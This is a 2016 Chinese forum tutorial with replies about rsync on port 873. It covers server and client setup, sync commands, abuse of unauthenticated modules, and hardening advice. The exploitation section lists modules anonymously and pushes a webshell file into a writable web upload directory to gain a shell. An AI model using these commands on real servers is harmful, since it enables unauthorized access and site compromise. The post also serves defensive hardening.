U神V5 发表于 2016-4-12 12:00:03

详细讲解873端口之rsync的安全问题

本帖最后由 U神V5 于 2016-4-12 12:01 编辑

网络上大部分针对rsync的漏洞都只是马马虎虎,作者带你0基础认识rsync,搭建服务器到漏洞的利用与防护,全部0基础详细讲解。



         本文由u神原创,转载请注明作者和出处。

1、什么是rsync
2、架设rsync服务器(服务端、客户端配置)
3、rsync的几种同步模式与常用参数
4、rsync未授权访问漏洞的利用
5、rsync漏洞的安全防护

服务端:Kali Linux 2016   IP:192.168.199.199
客户端:Backtrack 5 R3   IP:192.168.199.205



1、什么是rsync呢?

      rsync(全称:Remote synchronize)是一款开源的、快速的、多功能,可以实现全量(所谓全量就是完全备份所有数据)以及增量(同步备份有增删改的数据)的本地或远程数据镜像同步备份的优秀工具,Rsync适用于Unix/Linux/Windows等多种操作平台。Rsync具有可使本地和远程两台主机之间的数据快速复制同步镜像、远程备份等功能,这个功能类似scp,但优于scp的功能。当然,Rsync还可以在本地主机的不同分区或目录之间全量及增量的复制数据,这类似cp命令,同样也优于cp命令。rsync除了可以完整拷贝外还具备增量拷贝的功能。
   
      rsync的特性:

      能更新整个目录和树和文件系统;
      有选择性的保持符号链链、硬链接、文件属于、权限、设备以及时间等;
      对于安装来说,无任何特殊权限要求;
      对于多个文件来说,内部流水线减少文件等待的延时;
      能用rsh、ssh 或直接端口做为传输入端口;
      支持匿名rsync 同步文件,是理想的镜像工具;


2、架设rsync服务器 (以需要密码验证的情况来讲解)


#服务端的配置:

默认情况下Linux服务器上已经安装了rsync软件。如果没有安装可以使用 “apt-get install rsync ” 命令安装,当然我这里默认安装了就不再安装了。





在 /etc/rsync.conf 中建立配置文件(默认不存在的情况下建立)配置信息如下:


uid = rsync_backup                                 #运行RSYNC守护进程的用户
gid = rsync_backup                                 #运行RSYNC守护进程的组
use chroot = yes                                       #允许切换设定的目录
max connections = 200                           #最大连接数
timeout = 300                                          #超时时间
pid file = /var/run/rsyncd.pid                   #进程号的存储文件
lock file = /var/run/rsyncd.locak             #启动和停止的锁文件
log file = /var/log/rsyncd.log                   #日志文件
port = 873                                                #端口号
                                                      #模块文件,客户端连接时需要指定模块
path = /test/dedecms/                           #设定的访问路径
ignore errors                                          #可以忽略一些无关的IO错误
read only = yes                                 #是否只读
list = yes                                             #是否允许列文件
auth users=rsync_backup            # 认证的用户名,如果没有这行则表明是匿名,此用户与系统无关
secrets file = /rsync.pwd                   #密码和用户名对比表,密码文件请自己生成


#配置完毕之后需要完成的操作:


a)、建立不能登录bash的rsync用:

       useradd rsync_backup -s /sbin/nologin -M

b)、设置test/dedecms/目录下的属主和属组

      chown -R rsync_backup:rsync_backup /test/dedecms/

c)、建立/rsync.pwd的密码认证

         echo "rsync_backup:666888" >>/rsync.pwd

d)、设置密码文件的权限600

      chmod 600 /rsync.pwd


启动服务:

rsync --daemon#以守护进程方式来启动rsync

查看是否正常启动

netstat -nlt | grep 873   或者 lsof -i tcp:873





#客户端的操作:

a)、设置rsync的密码文件

       echo "666888">> /etc/rsync.password

b)、设置密码文件的权限

       chmod600 /etc/rsync.password



3、rsync的几种同步模式与常用参数:


# 三种同步模式

    1、主机本地间的数据传输(此时类似于cp命令的功能)。

             例如:rsync /etc/hosts /opt
             释义:将本地的/etc/hosts文件同步到/opt目录

             例如:rsync -r /opt /etc
             释义:将/opt目录同步到/etc下

    2、借助rcp、ssh等通道来传输数据(此时类似于scp命令的功能),此时使用的是系统用户。

            例如:rsync -v -e 'ssh -p22' /etc/hostsroot@192.168.199.188 /tmp
            释义:将本地的hosts文件同步到远程主机192.168.199.188的/tmp目录下

               例如:rsync -v -e 'ssh -p22'root@192.168.199.188:~/home /etc
               释义:将远程的用户家目录home同步到本地的/etc目录下
            

    3、以守护进程(socket)的方式传输数据(这个是rsync的重要功能),此时使用的是虚拟用户。

            例如: rsync -avzprsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password
            释义:将远程服务器192.168.199.199的web模块根目录下所有文件递归形式 备份到本地的/test/目录下

             例如:rsync -avzp /test.txt rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password
             释义:将本地/test.txt 备份到远程服务器192.168.199.199的web模块的根目录下


# 常用的参数

   -v , --verbose      详细输出模式,传输时的进度信息。
   -z , --compress   传输时候进行压缩以提供传输效率,--compress-level=数字等级 (可按级别压缩)。
   -r , --recursiv          对子目录以递归模式,即目录下的所有目录都同样传输,注意是小写的r
   -a, --archive         归档模式,表示以递归方式传输文件,并保持所有文件的原有属性 ,等于-rtopgDl
   -q, --quiet                精简输出模式
   -c, --checksum       打开校验开关,强制对文件传输进行校验
   -P,--progress         显示同步的过程以及传输的进度信息,与-v类似
   -R,--relative         使用相对路径信息,
   -D,--device             保持设备文件信息
   -l , --links               保持软链接
   -e,--rsh=COMMON 使用的信道协议,指定代替rsh的shell程序,例如:ssh
   --exclude=PATTERN 指定排除不需要传输的文件模式
   --delete当源目录中的文件删除,同步后目标目录中的文件也会被删除,如果源目录写法不当,可能无法达到同步删除目标目录的文件

    注意:
            rsync -avz /opt/firefox ~/test   在同步目录后面不加上/ 则是递归拷贝firefox目录,包含firefox目录
            rsync -avz /opt/firefox/ ~/test在同步目录后面加上/ 则是递归拷贝firefox目录下的文件,不包含firefox目录


# rsync的同步操作


第一种:   rsync user@hosts::module --pass-file=password text

例如我们配置的:rsync rsync_backup@192.168.199.199::web --password-file=/etc/rsync.password
                     

   
继续看看uploads目录

rsync rsync_backup@192.168.199.199::web/uploads/ --password-file=/etc/rsync.password




将本地文件test.txt备份到根目录下

rsync -avzp /test.txt rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password




将服务器的所有文件备份到本地/test/ 目录下

rsync -avzprsync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password





实现增量备份,在本地的/test目录下创建baidu.txt,可以发现只同步了一个文件,那就是本地新增的/test/baidu.txt

rsync -av --delete /test rsync_backup@192.168.199.199::web/ --password-file=/etc/rsync.password




在备份服务器上删除了3个文本文档,再次从服务器增量备份到本地

rsync -av --deletersync_backup@192.168.199.199::web/ /test/ --password-file=/etc/rsync.password







4、rsync未授权导致的问题

乌云案例:

http://wooyun.org/bugs/wooyun-2010-0166312
http://wooyun.org/bugs/wooyun-2010-0161535
http://wooyun.org/bugs/wooyun-2010-0169638
http://wooyun.org/bugs/wooyun-2010-0157669
http://wooyun.org/bugs/wooyun-2010-0157620
http://wooyun.org/bugs/wooyun-2010-0156335
http://wooyun.org/bugs/wooyun-2010-0156129
http://wooyun.org/bugs/wooyun-2010-0145535


如果/etc/rsyncd.conf下没有以下两行配置,则可能造成匿名访问:


auth users=rsync_backup            # 认证的用户名,如果没有这行则表明是匿名,此用户与系统无关
secrets file = /rsync.pwd                   #密码和用户名对比表,密码文件请自己生成


列rsync的模块:rsync root@192.168.199.199::




查询模块下的文件:rsync root@192.168.199.199::web



如果对方的配置信息为:read only = no 【表示可以向里面写内容】 又恰巧是一个web目录的话,那我们就可以直接getshell了

rsync /shell.php root@192.168.199.199::web/uploads/    #将本地shell推送到rsync的uploads目录(我这里的shell没写内容)






5、rsync的安全配置


1、配置文件设置用户认证、安全强大的密码

    auth users=rsync_backup设置认证用户
   
    echo "rsync_backup:bkweb@#$12345!">>/rsync.pwd设置强悍的密码
   
   secrets file = /rsync.pwd   


2、修改端口

    port = 8730


3、可以设定指定的主机访问

hosts allow = 192.168.1.1,10.10.10.10   允许的主机访问

hosts deny = 0.0.0.0/0   禁止的访问主机


4、只读或者不允许列文件

read only = yes      只读,当然如果你的资源不要紧可以随便看
list = no                   不允许列文件


5、不使用chroot

use chroot = no             不使用chroot


6、当然drop也说了rsync可以通过iptable防火墙来阻止不受信任用户访问

http://drops.wooyun.org/papers/161

参考rsync的渗透技巧:https://www.91ri.org/11093.html


wuyan 发表于 2016-4-12 12:35:47

跪了,请收下膝盖

90_ 发表于 2016-4-12 15:15:44

麻痹这么长。。。我还给看完了

Jack-5 发表于 2016-4-12 15:34:15

谢谢楼主的分享

borall 发表于 2016-4-12 15:44:54

支持,看起来还是可以的

ljy07 发表于 2016-4-12 15:57:38

谢谢楼主的分享

ayang 发表于 2016-4-12 18:48:25

我是来水经验的……

Sty,涛 发表于 2016-4-12 21:53:26

Sty,涛 发表于 2016-4-13 00:17:40

我是来水经验的……

08-wh 发表于 2016-4-13 02:13:51

非常感谢
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 详细讲解873端口之rsync的安全问题